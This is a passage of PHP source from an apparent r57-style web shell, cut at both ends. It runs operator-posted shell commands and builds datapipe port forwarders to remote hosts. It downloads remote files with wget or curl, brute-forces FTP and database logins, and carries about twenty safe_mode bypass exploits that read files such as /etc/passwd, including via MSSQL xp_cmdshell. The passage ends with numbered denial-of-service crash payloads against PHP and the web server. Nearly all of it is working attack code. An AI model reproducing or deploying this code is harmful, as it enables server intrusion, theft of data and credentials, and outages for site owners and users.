4897 $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
4898
4899 @unlink($tempdir.'dp');
4900
4901 $_POST['cmd']="ps -aux | grep dp";
4902
4903}
4904
4905if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
4906
4907{
4908
4909 cf($tempdir.'dpc.c',$datapipe_c);
4910
4911 $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
4912
4913 @unlink($tempdir.'dpc.c');
4914
4915 $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
4916
4917 @unlink($tempdir.'dpc');
4918
4919 $_POST['cmd']="ps -aux | grep dpc";
4920
4921}
4922
4923
4924
4925if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
4926
4927
4928
4929for($upl=0;$upl<=16;$upl++)
4930
4931{
4932
4933 if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
4934
4935 if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
4936
4937 else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
4938
4939 @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
4940
4941 or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
4942
4943 }
4944
4945}
4946
4947
4948
4949if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
4950
4951{
4952
4953 switch($_POST['with'])
4954
4955 {
4956
4957 case 'fopen':
4958
4959 $datafile = @implode("", @file($_POST['rem_file']));
4960
4961 if($datafile)
4962
4963 {
4964
4965 if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
4966
4967 }
4968
4969
4970
4971 $_POST['cmd'] = '';
4972
4973 break;
4974
4975 case 'wget':
4976
4977 $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
4978
4979 break;
4980
4981 case 'fetch':
4982
4983 $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
4984
4985 break;
4986
4987 case 'lynx':
4988
4989 $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4990
4991 break;
4992
4993 case 'links':
4994
4995 $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4996
4997 break;
4998
4999 case 'GET':
5000
5001 $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
5002
5003 break;
5004
5005 case 'curl':
5006
5007 $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
5008
5009 break;
5010
5011 }
5012
5013}
5014
5015if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
5016
5017 {
5018
5019 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
5020
5021 if(empty($ftp_port)) { $ftp_port = 21; }
5022
5023 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
5024
5025 if(!$connection) { err(3); }
5026
5027 else
5028
5029 {
5030
5031 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
5032
5033 else
5034
5035 {
5036
5037 if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
5038
5039 if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
5040
5041 }
5042
5043 }
5044
5045 @ftp_close($connection);
5046
5047 $_POST['cmd'] = "";
5048
5049 }
5050
5051
5052
5053if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
5054
5055 {
5056
5057 if($_POST['cmd']=="ftp_brute"){
5058
5059 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
5060
5061 if(empty($ftp_port)) { $ftp_port = 21; }
5062
5063 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
5064
5065 }else if($_POST['cmd']=="db_brute"){
5066
5067 $connection = 1;
5068
5069 }
5070
5071 if(!$connection) { err(3); $_POST['cmd'] = ""; }
5072
5073 else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
5074
5075 else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
5076
5077 if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
5078
5079 }
5080
5081
5082
5083echo $table_up3;
5084
5085if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
5086
5087else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
5088
5089echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
5090
5091if($safe_mode || $open_basedir)
5092
5093{
5094
5095 switch($_POST['cmd'])
5096
5097 {
5098
5099 case 'safe_dir':
5100
5101
5102
5103 if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
5104
5105 {
5106
5107 foreach ($d as $file)
5108
5109 {
5110
5111 if ($file=="." || $file=="..") continue;
5112
5113 @clearstatcache();
5114
5115 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
5116
5117 if(!$unix){
5118
5119 echo date("d.m.Y H:i",$mtime);
5120
5121 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
5122
5123 }
5124
5125 else{
5126
5127 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
5128
5129 $owner = @posix_getpwuid($uid);
5130
5131 $grgid = @posix_getgrgid($gid);
5132
5133 }else{$owner['name']=$grgid['name']='';}
5134
5135 echo $inode." ";
5136
5137 echo perms(@fileperms($file));
5138
5139 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
5140
5141 echo @date("d.m.Y H:i ",$mtime);
5142
5143 }
5144
5145 echo "$file\n";
5146
5147 }
5148
5149 }
5150
5151
5152
5153 elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
5154
5155 {
5156
5157 while (false!==($file=$d->read()))
5158
5159 {
5160
5161 if ($file=="." || $file=="..") continue;
5162
5163 @clearstatcache();
5164
5165 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
5166
5167 if(!$unix){
5168
5169 echo date("d.m.Y H:i",$mtime);
5170
5171 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
5172
5173 }
5174
5175 else{
5176
5177 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
5178
5179 $owner = @posix_getpwuid($uid);
5180
5181 $grgid = @posix_getgrgid($gid);
5182
5183 }else{$owner['name']=$grgid['name']='';}
5184
5185 echo $inode." ";
5186
5187 echo perms(@fileperms($file));
5188
5189 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
5190
5191 echo @date("d.m.Y H:i ",$mtime);
5192
5193 }
5194
5195 echo "$file\n";
5196
5197 }
5198
5199 $d->close();
5200
5201 }
5202
5203
5204
5205 elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
5206
5207 {
5208
5209 while (false!==($file=@readdir($d)))
5210
5211 {
5212
5213 if ($file=="." || $file=="..") continue;
5214
5215 @clearstatcache();
5216
5217 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
5218
5219 if(!$unix){
5220
5221 echo date("d.m.Y H:i",$mtime);
5222
5223 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
5224
5225 }
5226
5227 else{
5228
5229 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
5230
5231 $owner = @posix_getpwuid($uid);
5232
5233 $grgid = @posix_getgrgid($gid);
5234
5235 }else{$owner['name']=$grgid['name']='';}
5236
5237 echo $inode." ";
5238
5239 echo perms(@fileperms($file));
5240
5241 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
5242
5243 echo @date("d.m.Y H:i ",$mtime);
5244
5245 }
5246
5247 echo "$file\n";
5248
5249 }
5250
5251 @closedir($d);
5252
5253 }
5254
5255
5256
5257 elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
5258
5259 {
5260
5261 echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
5262
5263 function eh($errno, $errstr, $errfile, $errline)
5264
5265 {
5266
5267 global $D, $c, $i;
5268
5269 preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
5270
5271 if($o){ $D[$c] = $o[2]; $c++;}
5272
5273 }
5274
5275 $error_reporting = @ini_get('error_reporting');
5276
5277 error_reporting(E_WARNING);
5278
5279 @ini_set("display_errors", 1);
5280
5281 @ini_alter("display_errors", 1);
5282
5283 $root = "/";
5284
5285 if($dir) $root = $dir;
5286
5287 $c = 0; $D = array();
5288
5289 @set_error_handler("eh");
5290
5291 $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
5292
5293 for($i=0; $i < strlen($chars); $i++)
5294
5295 {
5296
5297 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
5298
5299 $prevD = $D[count($D)-1];
5300
5301 @glob($path."*");
5302
5303 if($D[count($D)-1] != $prevD)
5304
5305 {
5306
5307 for($j=0; $j < strlen($chars); $j++)
5308
5309 {
5310
5311 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
5312
5313 $prevD2 = $D[count($D)-1];
5314
5315 @glob($path."*");
5316
5317 if($D[count($D)-1] != $prevD2)
5318
5319 {
5320
5321 for($p=0; $p < strlen($chars); $p++)
5322
5323 {
5324
5325 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
5326
5327 $prevD3 = $D[count($D)-1];
5328
5329 @glob($path."*");
5330
5331 if($D[count($D)-1] != $prevD3)
5332
5333 {
5334
5335 for($r=0; $r < strlen($chars); $r++)
5336
5337 {
5338
5339 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
5340
5341 @glob($path."*");
5342
5343 }
5344
5345 }
5346
5347 }
5348
5349 }
5350
5351 }
5352
5353 }
5354
5355 }
5356
5357 $D = array_unique($D);
5358
5359 foreach($D as $item) echo "{$item}\r\n";
5360
5361 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
5362
5363 error_reporting($error_reporting);
5364
5365 }
5366
5367 elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
5368
5369 {
5370
5371 echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
5372
5373 if(!$dir){$dir='/etc/';};
5374
5375 if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
5376
5377 if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
5378
5379
5380
5381 if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
5382
5383 if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
5384
5385 foreach($presets_rlph as $preset_rlph){
5386
5387 if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
5388
5389 }
5390
5391 for($i=0; $i < strlen($chars_rlph); $i++){
5392
5393 if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
5394
5395 if($n_rlph<=1){continue;};
5396
5397 for($j=0; $j < strlen($chars_rlph); $j++){
5398
5399 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
5400
5401 if($n_rlph<=2){continue;};
5402
5403 for($x=0; $x < strlen($chars_rlph); $x++){
5404
5405 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
5406
5407 if($n_rlph<=3){continue;};
5408
5409 for($y=0; $y < strlen($chars_rlph); $y++){
5410
5411 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
5412
5413 if($n_rlph<=4){continue;};
5414
5415 for($z=0; $z < strlen($chars_rlph); $z++){
5416
5417 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
5418
5419 if($n_rlph<=5){continue;};
5420
5421 for($w=0; $w < strlen($chars_rlph); $w++){
5422
5423 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
5424
5425 }
5426
5427 }
5428
5429 }
5430
5431 }
5432
5433 }
5434
5435 }
5436
5437 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
5438
5439 }
5440
5441 else echo $lang[$language.'_text29'];
5442
5443 break;
5444
5445 case 'test1':
5446
5447 $ci = @curl_init("file://".$_POST['test1_file']);
5448
5449 $cf = @curl_exec($ci);
5450
5451 echo htmlspecialchars($cf);
5452
5453 break;
5454
5455 case 'test2':
5456
5457 @include($_POST['test2_file']);
5458
5459 break;
5460
5461 case 'test3':
5462
5463 if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
5464
5465 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
5466
5467 if($db)
5468
5469 {
5470
5471 if(@mysql_select_db($_POST['test3_md'],$db))
5472
5473 {
5474
5475 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
5476
5477 @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
5478
5479/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
5480
5481 @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
5482
5483 $r = @mysql_query("SELECT * FROM temp_r57_table");
5484
5485 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
5486
5487 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
5488
5489 }
5490
5491 else echo "[-] ERROR! Can't select database";
5492
5493 @mysql_close($db);
5494
5495 }
5496
5497 else echo "[-] ERROR! Can't connect to mysql server";
5498
5499 break;
5500
5501 case 'test4':
5502
5503 if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
5504
5505 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
5506
5507 if($db)
5508
5509 {
5510
5511 if(@mssql_select_db($_POST['test4_md'],$db))
5512
5513 {
5514
5515 @mssql_query("drop table r57_temp_table",$db);
5516
5517 @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
5518
5519 @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
5520
5521 $res = mssql_query("select * from r57_temp_table",$db);
5522
5523 while(($row=@mssql_fetch_row($res)))
5524
5525 {
5526
5527 echo htmlspecialchars($row[0])."\r\n";
5528
5529 }
5530
5531 @mssql_query("drop table r57_temp_table",$db);
5532
5533 }
5534
5535 else echo "[-] ERROR! Can't select database";
5536
5537 @mssql_close($db);
5538
5539 }
5540
5541 else echo "[-] ERROR! Can't connect to MSSQL server";
5542
5543 break;
5544
5545 case 'test5':
5546
5547 $temp=tempnam($dir, "fname");
5548
5549 if (@file_exists($temp)) @unlink($temp);
5550
5551 $extra = "-C ".$_POST['test5_file']." -X $temp";
5552
5553 @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
5554
5555 $str = moreread($temp);
5556
5557 echo htmlspecialchars($str);
5558
5559 @unlink($temp);
5560
5561 break;
5562
5563 case 'test6':
5564
5565 $stream = @imap_open('/etc/passwd', "", "");
5566
5567 $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
5568
5569 for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
5570
5571 @imap_close($stream);
5572
5573 break;
5574
5575 case 'test7':
5576
5577 $stream = @imap_open($_POST['test7_file'], "", "");
5578
5579 $str = @imap_body($stream, 1);
5580
5581 echo htmlspecialchars($str);
5582
5583 @imap_close($stream);
5584
5585 break;
5586
5587 case 'test8':
5588
5589 $temp=@tempnam($_POST['test8_file2'], "copytemp");
5590
5591 $str = readzlib($_POST['test8_file1'],$temp);
5592
5593 echo htmlspecialchars($str);
5594
5595 @unlink($temp);
5596
5597 break;
5598
5599 case 'test9':
5600
5601 @ini_restore("safe_mode");
5602
5603 @ini_restore("open_basedir");
5604
5605 $str = moreread($_POST['test9_file']);
5606
5607 echo htmlspecialchars($str);
5608
5609 break;
5610
5611 case 'test10':
5612
5613 @ob_clean();
5614
5615 $error_reporting = @ini_get('error_reporting');
5616
5617 error_reporting(E_ALL ^ E_NOTICE);
5618
5619 @ini_set("display_errors", 1);
5620
5621 @ini_alter("display_errors", 1);
5622
5623 $str=@fopen($_POST['test10_file'],"r");
5624
5625 while(!feof($str)){print htmlspecialchars(fgets($str));}
5626
5627 fclose($str);
5628
5629 error_reporting($error_reporting);
5630
5631 break;
5632
5633 case 'test11':
5634
5635 @ob_clean();
5636
5637 $temp = 'zip://'.$_POST['test11_file'];
5638
5639 $str = moreread($temp);
5640
5641 echo htmlspecialchars($str);
5642
5643 break;
5644
5645 case 'test12':
5646
5647 @ob_clean();
5648
5649 $temp = 'compress.bzip2://'.$_POST['test12_file'];
5650
5651 $str = moreread($temp);
5652
5653 echo htmlspecialchars($str);
5654
5655 break;
5656
5657 case 'test13':
5658
5659 @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
5660
5661 echo $lang[$language.'_text61'];
5662
5663 break;
5664
5665 case 'test14':
5666
5667 @session_save_path($_POST['test14_file2']."\0;$tempdir");
5668
5669 @session_start();
5670
5671 @$_SESSION[php]=$_POST['test14_file1'];
5672
5673 echo $lang[$language.'_text61'];
5674
5675 break;
5676
5677 case 'test15':
5678
5679 @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
5680
5681 echo $lang[$language.'_text61'];
5682
5683 break;
5684
5685 case 'test16':
5686
5687 if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
5688
5689 break;
5690
5691 case 'test17_1':
5692
5693 @unlink('symlinkread');
5694
5695 @symlink('a/a/a/a/a/a/', 'dummy');
5696
5697 @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
5698
5699 @unlink('dummy');
5700
5701 while (1)
5702
5703 {
5704
5705 @symlink('.', 'dummy');
5706
5707 @unlink('dummy');
5708
5709 }
5710
5711 break;
5712
5713 case 'test17_2':
5714
5715 $str='';
5716
5717 while (strlen($str) < 3) {
5718
5719/* $str = moreread('symlinkread');*/
5720
5721 $str = @file_get_contents('symlinkread');
5722
5723 if($str){ @ob_clean(); echo htmlspecialchars($str);}
5724
5725 }
5726
5727 break;
5728
5729 case 'test17_3':
5730
5731 $dir = $files = array();
5732
5733 if(@version_compare(@phpversion(),"5.0.0")>=0){
5734
5735 while (@count($dir) < 3) {
5736
5737 $dir=@scandir('symlinkread');
5738
5739 if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
5740
5741 }
5742
5743 }
5744
5745 else {
5746
5747 while (@count($files) < 3) {
5748
5749 $dh = @opendir('symlinkread');
5750
5751 while (false !== ($filename = @readdir($dh))) {
5752
5753 $files[] = $filename;
5754
5755 }
5756
5757 if(@count($files) > 2){@ob_clean(); @print_r($files); }
5758
5759 }
5760
5761 }
5762
5763 break;
5764
5765 case 'test18':
5766
5767 @putenv("TMPDIR=".$_POST['test18_file2']);
5768
5769 @ini_set("session.save_path", "");
5770
5771 @ini_alter("session.save_path", "");
5772
5773 @session_start();
5774
5775 @$_SESSION[php]=$_POST['test18_file1'];
5776
5777 echo $lang[$language.'_text61'];
5778
5779 break;
5780
5781 case 'test19':
5782
5783 if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
5784
5785 $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
5786
5787 if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
5788
5789 $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
5790
5791 $m->set_local_infile_handler("r");
5792
5793 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5794
5795 $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
5796
5797 $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
5798
5799 $r = $m->query("SELECT * FROM temp_r57_table");
5800
5801 while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
5802
5803 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5804
5805 $m->close();
5806
5807 break;
5808
5809 }
5810
5811}
5812
5813
5814
5815if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
5816
5817 $cmd_rep = ex($_POST['cmd']);
5818
5819 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5820
5821 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5822
5823}/*elseif($safe_mode){
5824
5825 $cmd_rep = safe_ex($_POST['cmd']);
5826
5827 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5828
5829 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5830
5831}
5832
5833*/
5834
5835switch($_POST['cmd'])
5836
5837{
5838
5839 case 'dos1':
5840
5841 function a() { a(); } a();
5842
5843 break;
5844
5845 case 'dos2':
5846
5847 @pack("d4294967297", 2);
5848
5849 break;
5850
5851 case 'dos3':
5852
5853 $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
5854
5855 break;
5856
5857 case 'dos4':
5858
5859 $t = array(1);while (1) {$a[] = &$t;};
5860
5861 break;
5862
5863 case 'dos5':
5864
5865 @dl("sqlite.so");$db = new SqliteDatabase("foo");
5866
5867 break;
5868
5869 case 'dos6':
5870
5871 preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
5872
5873 break;
5874
5875 case 'dos7':
5876
5877 @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
5878
5879 break;
5880
5881 case 'dos8':
5882
5883 @shell_exec("killall -11 httpd");
5884
5885 break;
5886
5887 case 'dos9':
5888
5889 function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
5890
5891 break;
5892
5893 case 'dos10':
5894
5895 $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
5896
5897 break;
5898
5899 case 'dos11':
5900
5901 @array_fill(1,123456789,"Infigo-IS");
5902
5903 break;
5904
5905 case 'dos12':
5906
5907 @substr_compare("A","A",12345678);
5908
5909 break;
5910
5911 case 'dos13':
5912
5913 @unserialize("a:2147483649:{");
5914
5915 break;
5916
5917 case 'dos14':
5918
5919 $Data = @str_ireplace("\n", "<br>", $Data);
5920
5921 break;
5922
5923 case 'dos15':
5924
5925 function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
5926
5927 $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
5928
5929 @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
5930
5931 break;
5932
5933 case 'dos16':
5934
5935 $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
5936
5937 for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
5938
5939 unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
5940
5941 break;
5942
5943 case 'dos17':
5944
5945 $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
5946
5947 $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
5948
5949 $x = "AQ ";
5950
5951 unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
5952
5953 break;
5954
5955 case 'dos18':
5956
5957 $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
5958
5959 if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
5960
5961 echo "Msg not sent because $msg_err\n";
5962
5963 if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
5964
5965 echo "$msg\n";
5966
5967 } else { echo "Received $msg_error fetching message\n"; break; }
5968
5969 @msg_remove_queue ($msg_id);
5970
5971 break;
5972
5973 case 'dos19':
5974
5975 $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
5976
5977 break;
5978
5979 case 'dos20':
5980
5981 $hashtable = str_repeat("A", 39);
5982
5983 $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
5984
5985 $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
5986
5987 $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
5988
5989 for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
5990
5991 $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
5992
5993 @unserialize($str);
5994
5995 break;
5996
5997 case 'dos21':
5998
5999 imagecreatetruecolor(1234,1073741824);
6000
6001 break;
6002
6003 case 'dos22':
6004
6005 imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
6006
6007 break;
6008
6009 case 'dos23':
6010
6011 $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
6012
6013 break;
6014
6015 case 'dos24':
6016
6017 setlocale(LC_COLLATE, str_repeat("A", 34438013));
6018
6019 break;
6020
6021 case 'dos25':
6022
6023 glob(str_repeat("A", 9638013));
6024
6025 break;
6026
6027 case 'dos26':
6028
6029 glob("a",-1);
6030
6031 break;
6032
6033 case 'dos27':
6034
6035 fnmatch("*[1]e", str_repeat("A", 9638013));
6036
6037 break;
6038
6039 case 'dos28':
6040
6041 if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
6042
6043 break;
6044
6045 case 'dos29':
6046
6047 if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
6048
6049 break;
6050
6051 case 'dos30':
6052
6053 $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c);
6054
6055 break;
6056
6057 case 'dos31':
6058
